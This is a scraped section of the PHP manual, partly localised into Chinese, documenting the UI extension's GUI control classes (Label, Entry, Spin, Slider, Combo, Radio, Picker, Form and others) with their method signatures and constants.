(PHP 7, UI 0.9.9)

UI\Controls\ColorButton::onChange — Change Handler

说明

protected UI\Controls\ColorButton::onChange ( void )

Shall be executed when the selected Color is changed

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Color

  • ? UI\Controls\ColorButton::onChange
  • UI\Controls\Label ?
  • PHP Manual
  • UI\Controls\ColorButton
  • Set Color

UI\Controls\ColorButton::setColor

(PHP 7, UI 0.9.9)

UI\Controls\ColorButton::setColor — Set Color

说明

public UI\Controls\ColorButton::setColor ( UI\Draw\Color $color )
public UI\Controls\ColorButton::setColor ( int $color )

Shall set the currently selected Color

参数

color

The new color

User Contributed Notes

There are no user contributed notes for this page.


Label Control

(PHP 7, UI 0.9.9)

简介

A Label is a single line of text, meant to identify, for the user, some element of the interface.

类摘要

UI\Controls\Label extends UI\Control {
/* Constructor */
public __construct ( string $text )
/* 方法 */
public getText ( void ) : string
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Label::__construct — Construct a new Label
  • UI\Controls\Label::getText — Get Text
  • UI\Controls\Label::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Label

  • ? UI\Controls\Label
  • UI\Controls\Label::getText ?
  • PHP Manual
  • UI\Controls\Label
  • Construct a new Label

UI\Controls\Label::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Label::__construct — Construct a new Label

说明

public UI\Controls\Label::__construct ( string $text )

Shall construct a new Label

参数

text

The text for this label

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\Label::__construct
  • UI\Controls\Label::setText ?
  • PHP Manual
  • UI\Controls\Label
  • Get Text

UI\Controls\Label::getText

(PHP 7, UI 0.9.9)

UI\Controls\Label::getText — Get Text

说明

public UI\Controls\Label::getText ( void ) : string

Shall return the current text for this Label

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\Label::getText
  • UI\Controls\Entry ?
  • PHP Manual
  • UI\Controls\Label
  • Set Text

UI\Controls\Label::setText

(PHP 7, UI 0.9.9)

UI\Controls\Label::setText — Set Text

说明

public UI\Controls\Label::setText ( string $text )

Shall set the text for this Label

参数

text

The new text

User Contributed Notes

There are no user contributed notes for this page.


Entry Control

(PHP 7, UI 0.9.9)

简介

An Entry is a text entry control, suitable for entering plain text, passwords, or search terms.

类摘要

UI\Controls\Entry extends UI\Control {
/* Constants */
const integer Normal ;
const integer Password ;
const integer Search ;
/* Constructor */
public __construct ([ int $type = UI\Controls\Entry::Normal ] )
/* 方法 */
public getText ( void ) : string
public isReadOnly ( void ) : bool
protected onChange ( void )
public setReadOnly ( bool $readOnly )
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Controls\Entry::Normal

A normal single line entry

UI\Controls\Entry::Password

A password entry

UI\Controls\Entry::Search

A search entry

Table of Contents

  • UI\Controls\Entry::__construct — Construct a new Entry
  • UI\Controls\Entry::getText — Get Text
  • UI\Controls\Entry::isReadOnly — Detect Read Only
  • UI\Controls\Entry::onChange — Change Handler
  • UI\Controls\Entry::setReadOnly — Set Read Only
  • UI\Controls\Entry::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Entry

  • ? UI\Controls\Entry
  • UI\Controls\Entry::getText ?
  • PHP Manual
  • UI\Controls\Entry
  • Construct a new Entry

UI\Controls\Entry::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Entry::__construct — Construct a new Entry

说明

public UI\Controls\Entry::__construct ([ int $type = UI\Controls\Entry::Normal ] )

Construct a new entry of the given type

参数

type

Entry::Normal, Entry::Password, or Entry::Search

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\Entry::__construct
  • UI\Controls\Entry::isReadOnly ?
  • PHP Manual
  • UI\Controls\Entry
  • Get Text

UI\Controls\Entry::getText

(PHP 7, UI 0.9.9)

UI\Controls\Entry::getText — Get Text

说明

public UI\Controls\Entry::getText ( void ) : string

Shall return the current text from this Entry

参数

此函数没有参数。

返回值

The current text

User Contributed Notes

There are no user contributed notes for this page.


Detect Read Only

  • ? UI\Controls\Entry::getText
  • UI\Controls\Entry::onChange ?
  • PHP Manual
  • UI\Controls\Entry
  • Detect Read Only

UI\Controls\Entry::isReadOnly

(PHP 7, UI 0.9.9)

UI\Controls\Entry::isReadOnly — Detect Read Only

说明

public UI\Controls\Entry::isReadOnly ( void ) : bool

Shall detect if this Entry is read only

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\Entry::isReadOnly
  • UI\Controls\Entry::setReadOnly ?
  • PHP Manual
  • UI\Controls\Entry
  • Change Handler

UI\Controls\Entry::onChange

(PHP 7, UI 0.9.9)

UI\Controls\Entry::onChange — Change Handler

说明

protected UI\Controls\Entry::onChange ( void )

Shall be executed when the text in this Entry changes

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Read Only

  • ? UI\Controls\Entry::onChange
  • UI\Controls\Entry::setText ?
  • PHP Manual
  • UI\Controls\Entry
  • Set Read Only

UI\Controls\Entry::setReadOnly

(PHP 7, UI 0.9.9)

UI\Controls\Entry::setReadOnly — Set Read Only

说明

public UI\Controls\Entry::setReadOnly ( bool $readOnly )

Shall enable or disable read only for this Entry

参数

readOnly

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\Entry::setReadOnly
  • UI\Controls\MultilineEntry ?
  • PHP Manual
  • UI\Controls\Entry
  • Set Text

UI\Controls\Entry::setText

(PHP 7, UI 0.9.9)

UI\Controls\Entry::setText — Set Text

说明

public UI\Controls\Entry::setText ( string $text )

Shall set the text for this Entry

参数

text

The new text

User Contributed Notes

There are no user contributed notes for this page.


MultilineEntry Control

(PHP 7, UI 0.9.9)

简介

A Multiline Entry is a text entry control able to hold multiple lines of text, with or without wrapping.

类摘要

UI\Controls\MultilineEntry extends UI\Control {
/* Constants */
const integer Wrap ;
const integer NoWrap ;
/* Constructor */
public __construct ([ int $type ] )
/* 方法 */
public append ( string $text )
public getText ( void ) : string
public isReadOnly ( void ) : bool
protected onChange ( void )
public setReadOnly ( bool $readOnly )
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Controls\MultilineEntry::Wrap

Allow lines to wrap

UI\Controls\MultilineEntry::NoWrap

Do not allow lines to wrap

Table of Contents

  • UI\Controls\MultilineEntry::append — Append Text
  • UI\Controls\MultilineEntry::__construct — Construct a new Multiline Entry
  • UI\Controls\MultilineEntry::getText — Get Text
  • UI\Controls\MultilineEntry::isReadOnly — Read Only Detection
  • UI\Controls\MultilineEntry::onChange — Change Handler
  • UI\Controls\MultilineEntry::setReadOnly — Set Read Only
  • UI\Controls\MultilineEntry::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Append Text

  • ? UI\Controls\MultilineEntry
  • UI\Controls\MultilineEntry::__construct ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Append Text

UI\Controls\MultilineEntry::append

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::append — Append Text

说明

public UI\Controls\MultilineEntry::append ( string $text )

Shall append the given text to the text in this Multiline Entry

参数

text

The text to append

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Multiline Entry

  • ? UI\Controls\MultilineEntry::append
  • UI\Controls\MultilineEntry::getText ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Construct a new Multiline Entry

UI\Controls\MultilineEntry::__construct

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::__construct — Construct a new Multiline Entry

说明

public UI\Controls\MultilineEntry::__construct ([ int $type ] )

Shall construct a new Multiline Entry of the given type

参数

type

MultilineEntry::Wrap or MultilineEntry::NoWrap

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\MultilineEntry::__construct
  • UI\Controls\MultilineEntry::isReadOnly ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Get Text

UI\Controls\MultilineEntry::getText

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::getText — Get Text

说明

public UI\Controls\MultilineEntry::getText ( void ) : string

Shall return the text in this Multiline Entry

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Read Only Detection

  • ? UI\Controls\MultilineEntry::getText
  • UI\Controls\MultilineEntry::onChange ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Read Only Detection

UI\Controls\MultilineEntry::isReadOnly

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::isReadOnly — Read Only Detection

说明

public UI\Controls\MultilineEntry::isReadOnly ( void ) : bool

Shall detect if this Multiline Entry is read only

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\MultilineEntry::isReadOnly
  • UI\Controls\MultilineEntry::setReadOnly ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Change Handler

UI\Controls\MultilineEntry::onChange

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::onChange — Change Handler

说明

protected UI\Controls\MultilineEntry::onChange ( void )

Shall be executed when the text in this Multiline Entry is changed

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Read Only

  • ? UI\Controls\MultilineEntry::onChange
  • UI\Controls\MultilineEntry::setText ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Set Read Only

UI\Controls\MultilineEntry::setReadOnly

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::setReadOnly — Set Read Only

说明

public UI\Controls\MultilineEntry::setReadOnly ( bool $readOnly )

Shall enable or disable read only on this Multiline Entry

参数

readOnly

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\MultilineEntry::setReadOnly
  • UI\Controls\Spin ?
  • PHP Manual
  • UI\Controls\MultilineEntry
  • Set Text

UI\Controls\MultilineEntry::setText

(PHP 7, UI 0.9.9)

UI\Controls\MultilineEntry::setText — Set Text

说明

public UI\Controls\MultilineEntry::setText ( string $text )

Shall set the text in this Multiline Entry

参数

text

The new text

User Contributed Notes

There are no user contributed notes for this page.


Spin Control

(PHP 7, UI 0.9.9)

简介

A Spin box is a text box with an up-down control which changes the integer value in the box, within a defined range

类摘要

UI\Controls\Spin extends UI\Control {
/* Constructor */
public __construct ( int $min , int $max )
/* 方法 */
public getValue ( void ) : int
protected onChange ( void )
public setValue ( int $value )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Spin::__construct — Construct a new Spin
  • UI\Controls\Spin::getValue — Get Value
  • UI\Controls\Spin::onChange — Change Handler
  • UI\Controls\Spin::setValue — Set Value

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Spin

  • ? UI\Controls\Spin
  • UI\Controls\Spin::getValue ?
  • PHP Manual
  • UI\Controls\Spin
  • Construct a new Spin

UI\Controls\Spin::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Spin::__construct — Construct a new Spin

说明

public UI\Controls\Spin::__construct ( int $min , int $max )

Constructs a new Spin with the given range

参数

min

The minimum value allowed

max

The maximum value allowed

User Contributed Notes

There are no user contributed notes for this page.


Get Value

  • ? UI\Controls\Spin::__construct
  • UI\Controls\Spin::onChange ?
  • PHP Manual
  • UI\Controls\Spin
  • Get Value

UI\Controls\Spin::getValue

(PHP 7, UI 0.9.9)

UI\Controls\Spin::getValue — Get Value

说明

public UI\Controls\Spin::getValue ( void ) : int

Get the value in this Spin

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\Spin::getValue
  • UI\Controls\Spin::setValue ?
  • PHP Manual
  • UI\Controls\Spin
  • Change Handler

UI\Controls\Spin::onChange

(PHP 7, UI 0.9.9)

UI\Controls\Spin::onChange — Change Handler

说明

protected UI\Controls\Spin::onChange ( void )

Shall be executed when the value in this Spin changes

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Value

  • ? UI\Controls\Spin::onChange
  • UI\Controls\Slider ?
  • PHP Manual
  • UI\Controls\Spin
  • Set Value

UI\Controls\Spin::setValue

(PHP 7, UI 0.9.9)

UI\Controls\Spin::setValue — Set Value

说明

public UI\Controls\Spin::setValue ( int $value )

Set the value in this Spin

参数

value

The new value

User Contributed Notes

There are no user contributed notes for this page.


Slider Control

(PHP 7, UI 0.9.9)

简介

A Slider is a control which represents a range, and a current value in the range. The sliding element of the control (sometimes called the "thumb") reflects the value, and can be adjusted within the range.

类摘要

UI\Controls\Slider extends UI\Control {
/* Constructor */
public __construct ( int $min , int $max )
/* 方法 */
public getValue ( void ) : int
protected onChange ( void )
public setValue ( int $value )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Slider::__construct — Construct a new Slider
  • UI\Controls\Slider::getValue — Get Value
  • UI\Controls\Slider::onChange — Change Handler
  • UI\Controls\Slider::setValue — Set Value

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Slider

  • ? UI\Controls\Slider
  • UI\Controls\Slider::getValue ?
  • PHP Manual
  • UI\Controls\Slider
  • Construct a new Slider

UI\Controls\Slider::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Slider::__construct — Construct a new Slider

说明

public UI\Controls\Slider::__construct ( int $min , int $max )

Construct a new Slider with the given range

参数

min

The minimum allowed value

max

The maximum allowed value

User Contributed Notes

There are no user contributed notes for this page.


Get Value

  • ? UI\Controls\Slider::__construct
  • UI\Controls\Slider::onChange ?
  • PHP Manual
  • UI\Controls\Slider
  • Get Value

UI\Controls\Slider::getValue

(PHP 7, UI 0.9.9)

UI\Controls\Slider::getValue — Get Value

说明

public UI\Controls\Slider::getValue ( void ) : int

Get the value from this Slider

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\Slider::getValue
  • UI\Controls\Slider::setValue ?
  • PHP Manual
  • UI\Controls\Slider
  • Change Handler

UI\Controls\Slider::onChange

(PHP 7, UI 0.9.9)

UI\Controls\Slider::onChange — Change Handler

说明

protected UI\Controls\Slider::onChange ( void )

Shall be executed when the value of this Slider changes

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Value

  • ? UI\Controls\Slider::onChange
  • UI\Controls\Progress ?
  • PHP Manual
  • UI\Controls\Slider
  • Set Value

UI\Controls\Slider::setValue

(PHP 7, UI 0.9.9)

UI\Controls\Slider::setValue — Set Value

说明

public UI\Controls\Slider::setValue ( int $value )

Shall set the value for this Slider

参数

value

The new value

User Contributed Notes

There are no user contributed notes for this page.


Progress Control

(PHP 7, UI 0.9.9)

简介

A Progress control is a familiar Progress bar: It represents progress as a percentage, with a possible range of 0 to 100 (inclusive).

类摘要

UI\Controls\Progress extends UI\Control {
/* 方法 */
public getValue ( void ) : int
public setValue ( int $value )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Progress::getValue — Get Value
  • UI\Controls\Progress::setValue — Set Value

User Contributed Notes

There are no user contributed notes for this page.


Get Value

  • ? UI\Controls\Progress
  • UI\Controls\Progress::setValue ?
  • PHP Manual
  • UI\Controls\Progress
  • Get Value

UI\Controls\Progress::getValue

(PHP 7, UI 0.9.9)

UI\Controls\Progress::getValue — Get Value

说明

public UI\Controls\Progress::getValue ( void ) : int

Shall retrieve the current value of this Progress bar

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Value

  • ? UI\Controls\Progress::getValue
  • UI\Controls\Separator ?
  • PHP Manual
  • UI\Controls\Progress
  • Set Value

UI\Controls\Progress::setValue

(PHP 7, UI 0.9.9)

UI\Controls\Progress::setValue — Set Value

说明

public UI\Controls\Progress::setValue ( int $value )

Shall set the value for this Progress bar

参数

value

An integer between 0 and 100 (inclusive)

User Contributed Notes

There are no user contributed notes for this page.


Control Separator

(PHP 7, UI 0.9.9)

简介

A Separator represents a control separator, it has no other function.

类摘要

UI\Controls\Separator extends UI\Control {
/* Constants */
const integer Horizontal ;
const integer Vertical ;
/* Constructor */
public __construct ([ int $type = UI\Controls\Separator::Horizontal ] )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Controls\Separator::Horizontal

A Horizontal Separator

UI\Controls\Separator::Vertical

A Vertical Separator

Table of Contents

  • UI\Controls\Separator::__construct — Construct a new Separator

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Separator

  • ? UI\Controls\Separator
  • UI\Controls\Combo ?
  • PHP Manual
  • UI\Controls\Separator
  • Construct a new Separator

UI\Controls\Separator::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Separator::__construct — Construct a new Separator

说明

public UI\Controls\Separator::__construct ([ int $type = UI\Controls\Separator::Horizontal ] )

Shall construct a new Separator of the given type

参数

type

Separator::Horizonal or Separator::Vertical

User Contributed Notes

There are no user contributed notes for this page.


Combo Control

(PHP 7, UI 0.9.9)

简介

A Combo control represents a list of options, like the familiar select HTML element.

类摘要

UI\Controls\Combo extends UI\Control {
/* 方法 */
public append ( string $text )
public getSelected ( void ) : int
protected onSelected ( void )
public setSelected ( int $index )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Combo::append — Append Option
  • UI\Controls\Combo::getSelected — Get Selected Option
  • UI\Controls\Combo::onSelected — Selected Handler
  • UI\Controls\Combo::setSelected — Set Selected Option

User Contributed Notes

There are no user contributed notes for this page.


Append Option

  • ? UI\Controls\Combo
  • UI\Controls\Combo::getSelected ?
  • PHP Manual
  • UI\Controls\Combo
  • Append Option

UI\Controls\Combo::append

(PHP 7, UI 0.9.9)

UI\Controls\Combo::append — Append Option

说明

public UI\Controls\Combo::append ( string $text )

Append an option to this Combo

参数

text

The text for the new option

User Contributed Notes

There are no user contributed notes for this page.


Get Selected Option

  • ? UI\Controls\Combo::append
  • UI\Controls\Combo::onSelected ?
  • PHP Manual
  • UI\Controls\Combo
  • Get Selected Option

UI\Controls\Combo::getSelected

(PHP 7, UI 0.9.9)

UI\Controls\Combo::getSelected — Get Selected Option

说明

public UI\Controls\Combo::getSelected ( void ) : int

Shall retrieve the index of the option selected in this Combo

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Selected Handler

  • ? UI\Controls\Combo::getSelected
  • UI\Controls\Combo::setSelected ?
  • PHP Manual
  • UI\Controls\Combo
  • Selected Handler

UI\Controls\Combo::onSelected

(PHP 7, UI 0.9.9)

UI\Controls\Combo::onSelected — Selected Handler

说明

protected UI\Controls\Combo::onSelected ( void )

Shall be executed when an option is selected in this Combo

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Selected Option

  • ? UI\Controls\Combo::onSelected
  • UI\Controls\EditableCombo ?
  • PHP Manual
  • UI\Controls\Combo
  • Set Selected Option

UI\Controls\Combo::setSelected

(PHP 7, UI 0.9.9)

UI\Controls\Combo::setSelected — Set Selected Option

说明

public UI\Controls\Combo::setSelected ( int $index )

Shall set the currently selected option in this Combo

参数

index

The index of the option to select

User Contributed Notes

There are no user contributed notes for this page.


EdiableCombo Control

(PHP 7, UI 0.9.9)

简介

An Editable Combo is a Combo which allows the user to enter custom options

类摘要

UI\Controls\EditableCombo extends UI\Control {
/* 方法 */
public append ( string $text )
public getText ( void ) : string
protected onChange ( void )
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\EditableCombo::append — Append Option
  • UI\Controls\EditableCombo::getText — Get Text
  • UI\Controls\EditableCombo::onChange — Change Handler
  • UI\Controls\EditableCombo::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Append Option

  • ? UI\Controls\EditableCombo
  • UI\Controls\EditableCombo::getText ?
  • PHP Manual
  • UI\Controls\EditableCombo
  • Append Option

UI\Controls\EditableCombo::append

(PHP 7, UI 0.9.9)

UI\Controls\EditableCombo::append — Append Option

说明

public UI\Controls\EditableCombo::append ( string $text )

Shall append a new option to this Editable Combo

参数

text

The text for the new option

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\EditableCombo::append
  • UI\Controls\EditableCombo::onChange ?
  • PHP Manual
  • UI\Controls\EditableCombo
  • Get Text

UI\Controls\EditableCombo::getText

(PHP 7, UI 0.9.9)

UI\Controls\EditableCombo::getText — Get Text

说明

public UI\Controls\EditableCombo::getText ( void ) : string

Get the value of the currently selected option in this Editable Combo

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\EditableCombo::getText
  • UI\Controls\EditableCombo::setText ?
  • PHP Manual
  • UI\Controls\EditableCombo
  • Change Handler

UI\Controls\EditableCombo::onChange

(PHP 7, UI 0.9.9)

UI\Controls\EditableCombo::onChange — Change Handler

说明

protected UI\Controls\EditableCombo::onChange ( void )

Shall be executed when the value of this Editable Combobox changes

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\EditableCombo::onChange
  • UI\Controls\Radio ?
  • PHP Manual
  • UI\Controls\EditableCombo
  • Set Text

UI\Controls\EditableCombo::setText

(PHP 7, UI 0.9.9)

UI\Controls\EditableCombo::setText — Set Text

说明

public UI\Controls\EditableCombo::setText ( string $text )

Shall set the text of the currently selected option in this Editable Combo

参数

text

The new text

User Contributed Notes

There are no user contributed notes for this page.


Radio Control

(PHP 7, UI 0.9.9)

简介

A Radio is similar to the radio input type familiar from HTML

类摘要

UI\Controls\Radio extends UI\Control {
/* 方法 */
public append ( string $text )
public getSelected ( void ) : int
protected onSelected ( void )
public setSelected ( int $index )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Radio::append — Append Option
  • UI\Controls\Radio::getSelected — Get Selected Option
  • UI\Controls\Radio::onSelected — Selected Handler
  • UI\Controls\Radio::setSelected — Set Selected Option

User Contributed Notes

There are no user contributed notes for this page.


Append Option

  • ? UI\Controls\Radio
  • UI\Controls\Radio::getSelected ?
  • PHP Manual
  • UI\Controls\Radio
  • Append Option

UI\Controls\Radio::append

(PHP 7, UI 0.9.9)

UI\Controls\Radio::append — Append Option

说明

public UI\Controls\Radio::append ( string $text )

Shall append a new option to this Radio

参数

text

The text (label) for the option

User Contributed Notes

There are no user contributed notes for this page.


Get Selected Option

  • ? UI\Controls\Radio::append
  • UI\Controls\Radio::onSelected ?
  • PHP Manual
  • UI\Controls\Radio
  • Get Selected Option

UI\Controls\Radio::getSelected

(PHP 7, UI 0.9.9)

UI\Controls\Radio::getSelected — Get Selected Option

说明

public UI\Controls\Radio::getSelected ( void ) : int

Shall retrieve the index of the currently selected option in this Radio

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Selected Handler

  • ? UI\Controls\Radio::getSelected
  • UI\Controls\Radio::setSelected ?
  • PHP Manual
  • UI\Controls\Radio
  • Selected Handler

UI\Controls\Radio::onSelected

(PHP 7, UI 0.9.9)

UI\Controls\Radio::onSelected — Selected Handler

说明

protected UI\Controls\Radio::onSelected ( void )

Shall be executed when the option selected in this Radio changes

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Selected Option

  • ? UI\Controls\Radio::onSelected
  • UI\Controls\Picker ?
  • PHP Manual
  • UI\Controls\Radio
  • Set Selected Option

UI\Controls\Radio::setSelected

(PHP 7, UI 0.9.9)

UI\Controls\Radio::setSelected — Set Selected Option

说明

public UI\Controls\Radio::setSelected ( int $index )

Shall set the currently selected option in this Radio

参数

index

The index of the option to select

User Contributed Notes

There are no user contributed notes for this page.


Picker Control

(PHP 7, UI 0.9.9)

简介

A Picker represents a button which when clicked presents a native Date/Time/DateTime Picker interface to the user.

类摘要

UI\Controls\Picker extends UI\Control {
/* Constants */
const integer Date ;
const integer Time ;
const integer DateTime ;
/* Constructor */
public __construct ([ int $type = UI\Controls\Picker::Date ] )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Controls\Picker::Date

A Date Picker

UI\Controls\Picker::Time

A Time Picker

UI\Controls\Picker::DateTime

A Date and Time Picker

Table of Contents

  • UI\Controls\Picker::__construct — Construct a new Picker

User Contributed Notes

falcon560 at gmail dot com 05-Nov-2017 07:54
No getter method for the date/time


Construct a new Picker

  • ? UI\Controls\Picker
  • UI\Controls\Form ?
  • PHP Manual
  • UI\Controls\Picker
  • Construct a new Picker

UI\Controls\Picker::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Picker::__construct — Construct a new Picker

说明

public UI\Controls\Picker::__construct ([ int $type = UI\Controls\Picker::Date ] )

Construct a new Picker of the given type

参数

type

Picker::Date, Picker::Time, or Picker::DateTime

User Contributed Notes

There are no user contributed notes for this page.


Control Form (Arrangement)

(PHP 7, UI 0.9.9)

简介

A Form is a control which allows the arrangement of other controls into a familiar layout (the form).

类摘要

UI\Controls\Form extends UI\Control {
/* 属性 */
protected $controls ;
/* 方法 */
public append ( string $label , UI\Control $control [, bool $stretchy = FALSE ] ) : int
public delete ( int $index ) : bool
public isPadded ( void ) : bool
public setPadded ( bool $padded )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

属性

controls

Contains controls, should not be manipulated directly

Table of Contents

  • UI\Controls\Form::append — Append Control
  • UI\Controls\Form::delete — Delete Control
  • UI\Controls\Form::isPadded — Padding Detection
  • UI\Controls\Form::setPadded — Set Padding

User Contributed Notes

There are no user contributed notes for this page.


Append Control

  • ? UI\Controls\Form
  • UI\Controls\Form::delete ?
  • PHP Manual
  • UI\Controls\Form
  • Append Control

UI\Controls\Form::append

(PHP 7, UI 0.9.9)

UI\Controls\Form::append — Append Control

说明

public UI\Controls\Form::append ( string $label , UI\Control $control [, bool $stretchy = FALSE ] ) : int

Shall append the control to the form, and set the label

参数

label

The text for the label

control

A control

stretchy

Should be set true to stretch the control

返回值

Shall return the index of the appended control, may be 0

User Contributed Notes

